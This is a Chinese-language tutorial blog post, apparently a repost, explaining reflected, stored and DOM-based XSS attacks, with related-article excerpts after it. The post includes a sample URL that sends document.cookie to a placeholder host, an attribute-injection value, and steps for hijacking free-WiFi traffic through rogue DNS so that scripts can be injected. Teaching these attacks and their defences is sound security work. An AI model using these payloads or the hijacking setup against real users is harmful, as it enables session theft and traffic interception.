摘要:跨域腳本攻擊攻擊是最常見的攻擊,其重點是跨域和客戶端執行。后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。開發安全措施首要是服務端要進行過濾,因為前端的校驗可以被繞過。這種直接存在于頁面,無須經過服務器返回就是基于本地的攻擊。
XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:
Reflected XSS(基于反射的XSS攻擊)
Stored XSS(基于存儲的XSS攻擊)
DOM-based or local XSS(基于DOM或本地的XSS攻擊)
Reflected XSS
基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。
例子:
做個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。
在搜索框搜索內容,填入“”, 點擊搜索。
當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。
進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:
http://www.amazon.cn/search?n..."http://xxx/get?cookie="+document.cookie
PS:這個地址當然是沒效的,只是舉例子而已。
結論:
如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。
開發安全措施:
前端在顯示服務端數據時候,不僅是標簽內容需要過濾、轉義,就連屬性值也都可能需要。
后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
例如:
標簽:
轉義
屬性:
如果一個input的value屬性值是
瑯琊榜" onclick="javascript:alert("handsome boy")
就可能出現
點擊input導致攻擊腳本被執行,解決方式可以對script或者雙引號進行過濾。
Stored XSS
基于存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
例子:
發一篇文章,里面包含了惡意腳本
今天天氣不錯啊!
后端沒有對文章進行過濾,直接保存文章內容到數據庫。
當其他看這篇文章的時候,包含的惡意腳本就會執行。
PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
結論:
后端盡可能對提交數據做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。
開發安全措施:
首要是服務端要進行過濾,因為前端的校驗可以被繞過。
當服務端不校驗時候,前端要以各種方式過濾里面可能的惡意腳本,例如script標簽,將特殊字符轉換成HTML編碼。
DOM-based or local XSS
基于DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在于頁面,無須經過服務器返回就是基于本地的XSS攻擊。
例子1:
提供一個免費的wifi。
開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設置為我們的電腦IP。
之后連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。
收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,并返回給用戶。
當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。
這個其實就是wifi流量劫持,中間人可以看到用戶的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚頁面。
PS:本文轉自 http://www.cnblogs.com/loveso...
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/81613.html
摘要:禁止內聯腳本執行規則較嚴格,目前發現使用。典型的攻擊流程受害者登錄站點,并保留了登錄憑證。站點接收到請求后,對請求進行驗證,并確認是受害者的憑證,誤以為是無辜的受害者發送的請求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯網的發展,各種Web應用變得越來越復雜,滿足了用戶的各種需求的同時,各種網絡安全問題也接踵而至。作為前端工程師的我們也逃不開這個問題,今天一起...
摘要:禁止內聯腳本執行規則較嚴格,目前發現使用。典型的攻擊流程受害者登錄站點,并保留了登錄憑證。站點接收到請求后,對請求進行驗證,并確認是受害者的憑證,誤以為是無辜的受害者發送的請求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯網的發展,各種Web應用變得越來越復雜,滿足了用戶的各種需求的同時,各種網絡安全問題也接踵而至。作為前端工程師的我們也逃不開這個問題,今天...
摘要:應用常見安全漏洞一覽注入注入就是通過給應用接口傳入一些特殊字符,達到欺騙服務器執行惡意的命令。此外,適當的權限控制不曝露必要的安全信息和日志也有助于預防注入漏洞。 web 應用常見安全漏洞一覽 1. SQL 注入 SQL 注入就是通過給 web 應用接口傳入一些特殊字符,達到欺騙服務器執行惡意的 SQL 命令。 SQL 注入漏洞屬于后端的范疇,但前端也可做體驗上的優化。 原因 當使用外...
摘要:應用常見安全漏洞一覽注入注入就是通過給應用接口傳入一些特殊字符,達到欺騙服務器執行惡意的命令。此外,適當的權限控制不曝露必要的安全信息和日志也有助于預防注入漏洞。 web 應用常見安全漏洞一覽 1. SQL 注入 SQL 注入就是通過給 web 應用接口傳入一些特殊字符,達到欺騙服務器執行惡意的 SQL 命令。 SQL 注入漏洞屬于后端的范疇,但前端也可做體驗上的優化。 原因 當使用外...
摘要:是一種經常出現在應用程序中的計算機安全漏洞,是由于應用程序對用戶的輸入過濾不足而產生的。常見的攻擊有三種反射型型存儲型。但是作為開發人員依然要了解基本知識于細節處避免制造漏洞。 showImg(https://segmentfault.com/img/bVbjJDk); 編者說:作為JS系工程師接觸最多的漏洞我想就是 XSS 漏洞了,然鵝并不是所有的同學對其都有一個清晰的認識。今天我們...
閱讀 1554·2021-11-19 09:55
閱讀 2778·2021-09-06 15:02
閱讀 3534·2019-08-30 15:53
閱讀 1071·2019-08-29 16:36
閱讀 1230·2019-08-29 16:29
閱讀 2286·2019-08-29 15:21
閱讀 621·2019-08-29 13:45
閱讀 2679·2019-08-26 17:15